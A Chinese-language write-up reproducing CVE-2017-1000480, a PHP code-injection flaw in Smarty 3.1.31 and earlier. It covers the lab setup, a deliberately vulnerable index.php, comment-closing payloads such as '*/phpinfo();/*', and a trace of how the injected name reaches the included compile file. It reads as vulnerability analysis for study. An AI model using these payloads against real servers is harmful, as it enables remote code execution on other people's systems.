跳转至

CVE-2017-1000480 Smarty<=3.1.31 命令执行RCE

一、漏洞简介

在不清理模板名称的自定义资源上调用fetch()或display()函数时,3.1.32之前的Smarty 3容易受到PHP代码注入的攻击。

二、漏洞影响

Smarty<=3.1.31、3.1.32-dev

三、复现过程

1、搭建环境

测试环境为: PHP5.6.40+Apache2+Smarty3.1.31+Debian9

➜  html mkdir smarty
➜  html cd smarty
➜  smarty mkdir cache compile templates
➜  smarty composer require smarty/smarty -v
➜  smarty sed -i -e 's/\^3.1/3.1.31/g' composer.json
➜  smarty composer update
➜  smarty sudo chmod -R 777 .

/var/www/html/smarty/index.php 如下:

<?php
require './vendor/autoload.php';

class Smarty_Resource_Widget extends Smarty_Resource_Custom
{
    protected function fetch($name, &$source, &$mtime)
    {
        $template = "Smarty <=3.1.31 RCE (CVE-2017-1000480)";
        $source = $template;
        $mtime = time();
        return 'mochazz';
    }
}

$smarty = new Smarty();
$smarty->setCacheDir('cache');
$smarty->setCompileDir('compile');
$smarty->setTemplateDir('templates');

$my_security_policy = new Smarty_Security($smarty);
$smarty->enableSecurity($my_security_policy);
$smarty->registerResource('username', new Smarty_Resource_Widget());
$smarty->display('username:'.$_GET['mochazz']);

?>

2、漏洞分析

具体攻击 payload 如下:

http://url/index.php?mochazz=*/phpinfo();/*

我们直接从 display 方法开始跟进,会发现其最终会调用 render 方法。在 render 方法分别进行了:生成compile文件名、写入compile文件并包含两个操作。

在第一个操作:生成compile文件名时,我们传入 display 的参数会影响最终的 compile 文件名。例如下面两个 payload 生成的文件名是不一样的。

# 代码:$smarty->display('username:'.$_GET['mochazz']);

# payload1:http://0.0.0.0/smarty/index.php?mochazz=*/phpinfo();/*
4f97532c32c10229713a39421c918cf16663bf6e_0.username.*.php

# payload2:http://0.0.0.0/smarty/index.php?mochazz=*/phpinfo();//
1e95a2d156a7edd4f6130643849a588dce4acb27_0.username.phpinfo();.php

这是因为 compile 文件名中,有一部分由 basename($source->name) 决定,这部分就是我们传入的 mochazz 参数。使用上面第一个 payload 时,文件名就会包含 * 号。在 Linux 系统下,文件名允许包含 * 号,但是 Windows 却不允许,这也是网络上部分文章说这个漏洞无法在 Windows 平台下利用。但是我们使用第二个 payload ,两个平台就都可以利用。

我们接着看第二个操作:写入 compile 文件并包含。首先,写入 compile 文件中的内容包含模板路径(即下图最后一行代码 $_template->source->filepath ),这个模板路径就是我们传入 display 方法的参数。虽然该参数被注释包裹,但是我们可以用 */ 闭合。写入 compile 文件,程序就开始包含该文件,最终导致代码执行(下图第137行)。